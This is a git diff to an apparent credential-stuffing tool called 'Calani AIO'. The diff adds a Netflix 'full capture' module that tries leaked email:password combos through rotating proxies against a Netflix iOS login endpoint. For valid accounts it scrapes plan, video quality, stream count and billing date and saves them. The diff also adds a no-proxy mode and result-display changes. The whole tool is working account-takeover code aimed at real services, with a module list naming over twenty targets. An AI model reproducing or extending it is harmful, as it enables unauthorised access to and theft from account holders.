diff --git a/MODULES.md b/MODULES.md index fbb8ea7..2fc2e6b 100644 --- a/MODULES.md +++ b/MODULES.md @@ -1,5 +1,5 @@ # Modules List -### 23 Total Modules +### 24 Total Modules - Bww [Points Capture | Proxyless] - Dominos [Points Capture | Recaptcha V3 Bypass] - Dickeys [Points Capture] @@ -14,6 +14,7 @@ - Uplay [Full Capture] - Origin [Full Capture] - Steam [Full Capture] +- Netflix [Full Capture] - Paramount [Full Capture] - Plextv [Subscription Capture] - Crunchyroll [Subscription Capture] diff --git a/main.py b/main.py index 2464be2..fe25ef1 100755 --- a/main.py +++ b/main.py @@ -142,7 +142,10 @@ def settings(): [{cyan}5{reset}] Threads : {Checker.threads} [{cyan}6{reset}] Solver Service : {Checker.solver_serice.title()} [{cyan}7{reset}] Solver API Key : {Checker.api_key if Checker.api_key else None} | Status: {status} + + [{cyan}ENTER{reset}] Reload Config + [{cyan}O{reset}] Open Config File [{cyan}X{reset}] Back""") option = input(f" [{cyan}>{reset}] ").lower() match option: @@ -153,6 +156,7 @@ def settings(): case "5": change("threads") case "6": change("solver_service") case "7": change("api_key") + case "o": os.startfile(os.path.join(os.getcwd(),'Data/config.json')) case "x": return def tools(): @@ -187,7 +191,7 @@ def tools(): ascii() print("\n\n") set_title('Info') - message_box('Creator Info',f'Discord: {discord_name}\nCracked.io: MickeyYe\nGithub: Mickey758\n\nReport Bugs / Request Modules',0) + message_box('Creator Info',f'Discord: {discord_name}\nCracked.io: MickeyYe\nGithub: Mickey758\nDiscord Server: https://discord.gg/PEhWnFcuhq\n\nFeel Free To Report Bugs & Request Modules',0) need_update = check_updates() if not need_update: home() print(f" [{red}>{reset}] Your version is outdated!") diff --git a/modules/checkers/netflix.py b/modules/checkers/netflix.py new file mode 100644 index 0000000..e7909f4 --- /dev/null +++ b/modules/checkers/netflix.py @@ -0,0 +1,98 @@ +from modules.variables import Checker +from modules.functions import bad_proxy, log, save, set_proxy, return_proxy, get_string +from requests import Session +import functools +from requests.adapters import HTTPAdapter, Retry +from urllib import parse + +def check(email:str,password:str): + while 1: + try: + with Session() as s: + proxy = set_proxy() + proxy_set = set_proxy(proxy) + + s.request = functools.partial(s.request, timeout=Checker.timeout) + s.proxies.update(proxy_set) + retries = Retry(total=Checker.retries, backoff_factor=0.1) + s.mount('http://', HTTPAdapter(max_retries=retries)) + s.mount('https://', HTTPAdapter(max_retries=retries)) + + KIR = f'NFAPPL-02-IPHONE7=2-{get_string(64)}' + data = parse.quote('{"action":"loginAction","fields":{"userLoginId":"'+email+'","rememberMe":"true","password":"'+password+'"},"verb":"POST","mode":"login","flow":"appleSignUp"}') + payload = 'appInternalVersion=11.44.0&appVersion=11.44.0&callPath=%5B%22moneyball%22%2C%22appleSignUp%22%2C%22next%22%5D&config=%7B%22useSecureImages%22%3Atrue%2C%22billboardTrailerEnabled%22%3A%22false%22%2C%22clipsEnabled%22%3A%22false%22%2C%22titleCapabilityFlattenedShowEnabled%22%3A%22true%22%2C%22seasonRenewalPostPlayEnabled%22%3A%22true%22%2C%22previewsBrandingEnabled%22%3A%22true%22%2C%22aroGalleriesEnabled%22%3A%22true%22%2C%22interactiveFeatureSugarPuffsEnabled%22%3A%22true%22%2C%22showMoreDirectors%22%3Atrue%2C%22searchImageLocalizationFallbackLocales%22%3Atrue%2C%22billboardEnabled%22%3A%22true%22%2C%22searchImageLocalizationOnResultsOnly%22%3A%22false%22%2C%22interactiveFeaturePIBEnabled%22%3A%22true%22%2C%22warmerHasGenres%22%3Atrue%2C%22interactiveFeatureBadgeIconTestEnabled%22%3A%229.57.0%22%2C%22previewsRowEnabled%22%3A%22true%22%2C%22kidsMyListEnabled%22%3A%22true%22%2C%22billboardPredictionEnabled%22%3A%22false%22%2C%22kidsBillboardEnabled%22%3A%22true%22%2C%22characterBarOnPhoneEnabled%22%3A%22false%22%2C%22contentWarningEnabled%22%3A%22true%22%2C%22bigRowEnabled%22%3A%22true%22%2C%22interactiveFeatureAppUpdateDialogueEnabled%22%3A%22false%22%2C%22familiarityUIEnabled%22%3A%22false%22%2C%22bigrowNewUIEnabled%22%3A%22false%22%2C%22interactiveFeatureSugarPuffsPreplayEnabled%22%3A%22true%22%2C%22volatileBillboardEnabled%22%3A%22false%22%2C%22motionCharacterEnabled%22%3A%22true%22%2C%22roarEnabled%22%3A%22true%22%2C%22billboardKidsTrailerEnabled%22%3A%22false%22%2C%22interactiveFeatureBuddyEnabled%22%3A%22true%22%2C%22mobileCollectionsEnabled%22%3A%22false%22%2C%22interactiveFeatureMinecraftEnabled%22%3A%22true%22%2C%22searchImageLocalizationEnabled%22%3A%22false%22%2C%22interactiveFeatureKimmyEnabled%22%3A%22true%22%2C%22interactiveFeatureYouVsWildEnabled%22%3A%22true%22%2C%22interactiveFeatureStretchBreakoutEnabled%22%3A%22true%22%2C%22kidsTrailers%22%3Atrue%7D&device_type=NFAPPL-02-&esn={KIR}&idiom=phone&iosVersion=12.4.3&isTablet=false&kids=false&maxDeviceWidth=375&method=call&model=saget&modelType=IPHONE7-2&odpAware=true¶m={DATA}&pathFormat=graph&pixelDensity=2.0&progressive=false&responseFormat=json'.format(KIR=KIR,DATA=data) + + r = s.post('https://ios.prod.http1.netflix.com/iosui/user/11.1', + allow_redirects = False, + data = payload, + headers = { + "Host": "ios.prod.ftl.netflix.com" , + "X-Netflix.Argo.abTests": "" , + "X-Netflix.client.appVersion": "11.44.0" , + "Accept": "*/*" , + "X-Netflix.Argo.NFNSM": "9" , + "Accept-Language": "en-US;q=1, fa-UK;q=0.9, en-UK;q=0.8, ar-UK;q=0.7" , + "Accept-Encoding": "gzip, deflate" , + "X-Netflix.Request.Attempt": "1" , + "X-Netflix.client.idiom": "phone" , + "X-Netflix.Request.Routing": "{\"path\":\"/nq/iosui/argo/~11.44.0/user\",\"control_tag\":\"iosui_argo_non_member\"}" , + "User-Agent": "Argo/11.44.0 (iPhone; iOS 12.4.3; Scale/2.00)" , + "X-Netflix.client.type": "argo" , + "Content-Length": f"{len(payload)}" , + "Content-Type":"application/x-www-form-urlencoded", + "Connection": "close" , + "X-Netflix.client.iosVersion": "10.3.3" , + } + ) + if any(key in r.text for key in ["\"value\":\"incorrect_password\"},","unrecognized_email_consumption_only","login_error_consumption_only"]): + Checker.bad += 1 + return_proxy(proxy) + return + elif any(key in r.text for key in ["never_member_consumption_only","former_member_consumption_only"]): + if not Checker.cui: log("custom",":".join([email,password]),"Netflix") + save("Netflix","custom",Checker.time,":".join([email,password])) + Checker.custom += 1 + return_proxy(proxy) + return + elif "memberHome" not in r.text: + raise + + r = s.get('https://www.netflix.com/YourAccount',allow_redirects=False, + headers = { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , + "Accept-Encoding": "gzip, deflate, br" , + "Accept-Language": "en-US,en;q=0.9" , + "Connection": "keep-alive" , + "Host": "www.netflix.com" , + "Referer": "https://www.netflix.com/browse" , + "Sec-Fetch-Dest": "document" , + "Sec-Fetch-Mode": "navigate" , + "Sec-Fetch-Site": "same-origin" , + "Sec-Fetch-User": "?1" , + "Upgrade-Insecure-Requests": "1" , + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" , + } + ) + + if any(key in r.text for key in ["\"serviceOnHoldForCCFail\":true","\"isHoldPayment\":true","Your membership is paused."]): + if not Checker.cui: log("custom",":".join([email,password]),"Netflix") + save("Netflix","custom",Checker.time,":".join([email,password])) + Checker.custom += 1 + return_proxy(proxy) + return + + plan = r.text.split("plan-label\">")[1].split("")[0] + quality = r.text.split("\"videoQuality\":{\"fieldType\":\"String\",\"value\":\"")[1].split("\"}")[0] + max_streams = r.text.split("\"maxStreams\":")[2].split(",\"")[0] + billing_date = r.text.split("nextBillingDate\":{\"fieldType\":\"String\",\"value\":\"")[1].split("\"")[0].replace("\\x20",'/') + + if not Checker.cui: log("good",':'.join([email,password]),"Netflix") + save("Netflix","good",Checker.time,':'.join([email,password])+f' | Plan: {plan} | Quality: {quality} | Max Streams: {max_streams} | Billing Date: {billing_date}') + Checker.good += 1 + return_proxy(proxy) + return + + except: + bad_proxy(proxy) + return_proxy(proxy) + Checker.errors += 1 \ No newline at end of file diff --git a/modules/config.py b/modules/config.py index d4cbb4e..4027d68 100644 --- a/modules/config.py +++ b/modules/config.py @@ -18,7 +18,7 @@ def load_config(): Checker.api_key = str(data["api_key"]) cui = str(data["print_mode"]).lower() if Checker.threads <= 0: Checker.threads = 1 - if Checker.proxy_type not in ("http","socks4","socks5"): raise + if Checker.proxy_type not in ("http","socks4","socks5","none"): raise if Checker.solver_serice not in ('2captcha','anycaptcha','anticaptcha'): raise if cui not in ("log","cui"): raise Checker.cui = False if cui == "log" else True @@ -46,6 +46,7 @@ def change(option:str): match Checker.proxy_type: case "socks4": Checker.proxy_type = "socks5" case "socks5": Checker.proxy_type = "http" + case "http": Checker.proxy_type = "none" case _: Checker.proxy_type = "socks4" values["proxy_type"] = Checker.proxy_type update_config(values) diff --git a/modules/functions.py b/modules/functions.py index 3a4161c..75eca69 100644 --- a/modules/functions.py +++ b/modules/functions.py @@ -129,6 +129,8 @@ def set_proxy(proxy:str=False): set_proxy(proxy="127.0.0.1:5000") """ + if Checker.proxy_type == 'none': return {} + if proxy: if proxy.count(':') == 3: host,port,username,password = proxy.split(':') @@ -152,17 +154,20 @@ def return_proxy(proxy): """ Remove a proxy from the locked proxies pool """ + if not proxy: return with Checker.proxy_lock: if proxy in Checker.locked_proxies: Checker.locked_proxies.remove(proxy) def lock_proxy(proxy): """ Temporarily remove a proxy from the pool to lock to one thread """ + if not proxy: return if Checker.lockProxies and proxy not in Checker.locked_proxies: Checker.locked_proxies.append(proxy) def bad_proxy(proxy): """ Temporarily remove a proxy from the pool for being bad """ + if not proxy: return if proxy not in Checker.bad_proxies: Checker.bad_proxies.append(proxy) def get_file(title:str,type:str): diff --git a/modules/start.py b/modules/start.py index 9c4fd88..98b969f 100644 --- a/modules/start.py +++ b/modules/start.py @@ -27,6 +27,7 @@ from modules.checkers import dominos from modules.checkers import dickeys from modules.checkers import hotspot_shield +from modules.checkers import netflix modules_list = { "bww [points capture | proxyless]":bww, @@ -43,6 +44,7 @@ "uplay [full capture]":uplay, "origin [full capture]":origin, "steam [full capture]":steam, + "netflix [full capture]":netflix, "paramount [full capture]":paramount, "plextv [subscription capture]":plextv, "crunchyroll [subscription capture]":crunchyroll, @@ -54,7 +56,7 @@ "hotspot shield [subscription capture]":hotspot_shield, } -def starter(modules_lst:list): +def starter(selected_modules:list): """Starts checking accounts""" reset_stats() set_title(f"Calani AIO | Getting Ready | {discord_name}") @@ -62,7 +64,7 @@ def initializeChecker(account:str): if ':' in account: email,password = account.split(":",1) if email and password: - for module in modules_lst: + for module in selected_modules: modules_list[module].check(email,password) Checker.cpm += 60 Checker.remaining.remove(account) @@ -100,47 +102,65 @@ def initializeChecker(account:str): print("\n") - print(f" [{cyan}>{reset}] Pick Proxy File") - file_path = get_file("Proxy File",type="Proxy File") - if not file_path: - print(f" [{red}>{reset}] No File Detected") - sleep(1) - return - with open(file_path,errors="ignore") as file: - before_proxies = file.read().splitlines() - after_proxies = list(set(before_proxies)) - Checker.proxies = after_proxies - Checker.total_proxies = len(Checker.proxies) - duplicates = len(before_proxies)-len(after_proxies) - if not after_proxies: - print(f" [{red}>{reset}] No Proxies Detected") - sleep(1) - return - print(f" [{cyan}>{reset}] Imported {green}{len(before_proxies)}{reset} Proxies") - if duplicates != 0: - print(f" [{cyan}>{reset}] Removed {green}{duplicates}{reset} Duplicates") - sleep(0.5) + if Checker.proxy_type != 'none': + print(f" [{cyan}>{reset}] Pick Proxy File") + file_path = get_file("Proxy File",type="Proxy File") + if not file_path: + print(f" [{red}>{reset}] No File Detected") + sleep(1) + return + with open(file_path,errors="ignore") as file: + before_proxies = file.read().splitlines() + after_proxies = list(set(before_proxies)) + Checker.proxies = after_proxies + Checker.total_proxies = len(Checker.proxies) + duplicates = len(before_proxies)-len(after_proxies) + if not after_proxies: + print(f" [{red}>{reset}] No Proxies Detected") + sleep(1) + return + print(f" [{cyan}>{reset}] Imported {green}{len(before_proxies)}{reset} Proxies") + if duplicates != 0: + print(f" [{cyan}>{reset}] Removed {green}{duplicates}{reset} Duplicates") + sleep(0.5) Checker.checking = True Checker.time = get_time() makedirs(f"Results/{Checker.time}",exist_ok=True) - Thread(target=title,args=(len(modules_lst),),daemon=True).start() + Thread(target=title,args=(len(selected_modules),),daemon=True).start() Thread(target=level_cpm,daemon=True).start() clear() + total_modules = len(selected_modules) if not Checker.cui: ascii() print("\n\n") - else: Thread(target=cui,args=(len(modules_lst),),daemon=True).start() + else: Thread(target=cui,args=(total_modules,),daemon=True).start() if Checker.total_proxies > Checker.threads: Checker.lockProxies = True mainpool = Pool(processes=Checker.threads) mainpool.imap_unordered(func=initializeChecker,iterable=Checker.accounts) mainpool.close() mainpool.join() - sleep(1) Checker.checking = False + sleep(0.2) + clear() + ascii() + modules_string = '\n '.join([module.title().split(' ')[0] for module in selected_modules]) + print(f""" + + [{cyan}{total_modules} Modules{reset}] + {cyan} + {modules_string} + {reset} + + {'Hits'.center(11,' ')}{fg(8)}-{reset} {fg(2)}{numerize(Checker.good)}{reset} + {'Custom'.center(11,' ')}{fg(8)}-{reset} {fg(3)}{numerize(Checker.custom)}{reset} + {'Bad'.center(11,' ')}{fg(8)}-{reset} {fg(1)}{numerize(Checker.bad)}{reset} + + """) + save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}') print("\n\n") print(f" [{cyan}>{reset}] Finished Checking") - print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}") + print(f" [{cyan}>{reset}] Saved to \"{save_path}\"") input(f" [{cyan}>{reset}] Press Enter To Go Back") diff --git a/modules/tools/capture_remove.py b/modules/tools/capture_remove.py index c6248a3..3539531 100644 --- a/modules/tools/capture_remove.py +++ b/modules/tools/capture_remove.py @@ -1,5 +1,6 @@ from modules.variables import Checker from modules.functions import * +import os def start(): reset_stats() @@ -27,9 +28,10 @@ def start(): sleep(1) Checker.time = get_time() edit(after_combos) + save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}') print("\n\n") print(f" [{cyan}>{reset}] Finished Removing Capture") - print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}/Capture_Remove.txt") + print(f" [{cyan}>{reset}] Saved to \"{save_path}\\Capture_Remove.txt\"") input(f" [{cyan}>{reset}] Press Enter To Go Back") return def edit(combos): diff --git a/modules/tools/combo_edit.py b/modules/tools/combo_edit.py index f896a7a..291239f 100644 --- a/modules/tools/combo_edit.py +++ b/modules/tools/combo_edit.py @@ -1,5 +1,6 @@ from modules.variables import Checker from modules.functions import * +import os def start(): reset_stats() @@ -27,9 +28,10 @@ def start(): sleep(1) Checker.time = get_time() edit(after_combos) + save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}') print("\n\n") print(f" [{cyan}>{reset}] Finished Editing Combo") - print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}/Combo_Editor.txt") + print(f" [{cyan}>{reset}] Saved to \"{save_path}\\Combo_Editor.txt\"") input(f" [{cyan}>{reset}] Press Enter To Go Back") return def edit(combos): diff --git a/modules/tools/domain_sort.py b/modules/tools/domain_sort.py index d3d4ba8..9b90bde 100644 --- a/modules/tools/domain_sort.py +++ b/modules/tools/domain_sort.py @@ -1,5 +1,6 @@ from modules.variables import Checker from modules.functions import * +import os def start(): reset_stats() @@ -27,9 +28,10 @@ def start(): sleep(1) Checker.time = get_time() sort(after_combos) + save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}') print("\n\n") print(f" [{cyan}>{reset}] Finished Sorting Domains") - print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}") + print(f" [{cyan}>{reset}] Saved to \"{save_path}\"") input(f" [{cyan}>{reset}] Press Enter To Go Back") return def sort(combos): diff --git a/modules/tools/proxy_check.py b/modules/tools/proxy_check.py index 1bf0832..18cd796 100644 --- a/modules/tools/proxy_check.py +++ b/modules/tools/proxy_check.py @@ -6,6 +6,7 @@ from requests import Session from requests.adapters import HTTPAdapter, Retry import functools +import os def start(): clear() @@ -54,8 +55,9 @@ def start(): sleep(1) Checker.checking = False print("\n\n") + save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}') print(f" [{cyan}>{reset}] Finished Checking Proxies") - print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}") + print(f" [{cyan}>{reset}] Saved to \"{save_path}\"") input(f" [{cyan}>{reset}] Press Enter To Go Back") def check(proxy:str): diff --git a/modules/tools/proxy_scrape.py b/modules/tools/proxy_scrape.py index 24d6161..7a03cdd 100644 --- a/modules/tools/proxy_scrape.py +++ b/modules/tools/proxy_scrape.py @@ -4,6 +4,7 @@ from requests import get from string import digits from multiprocessing.dummy import Pool +import os default = """https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all https://api.proxyscrape.com/?request=getproxies&proxytype=socks4&timeout=10000&country=all @@ -184,6 +185,7 @@ def get_proxies(link): makedirs(f"Results/{Checker.time}",exist_ok=True) with open(f"Results/{Checker.time}/Scraped_Proxies.txt","w",errors="ignore") as file: file.write("\n".join(proxies)) print("\n\n") + save_path = os.path.join(os.getcwd(),f'Results\\{Checker.time}') print(f" [{cyan}>{reset}] Finished Scraping") - print(f" [{cyan}>{reset}] Saved to Results/{Checker.time}/Scraped_Proxies.txt") + print(f" [{cyan}>{reset}] Saved to \"{save_path}\\Scraped_Proxies.txt\"") input(f" [{cyan}>{reset}] Press Enter To Go Back") \ No newline at end of file diff --git a/modules/variables.py b/modules/variables.py index 5fe1d10..79f8844 100644 --- a/modules/variables.py +++ b/modules/variables.py @@ -1,6 +1,6 @@ from threading import Lock lock = Lock() -version = "1.0.2.3" +version = "1.0.3" discord_name = "MickeyYe#9423" class Checker: bad = 0 diff --git a/version b/version index dcbf270..e4c0d46 100644 --- a/version +++ b/version @@ -1 +1 @@ -1.0.2.3 \ No newline at end of file +1.0.3 \ No newline at end of file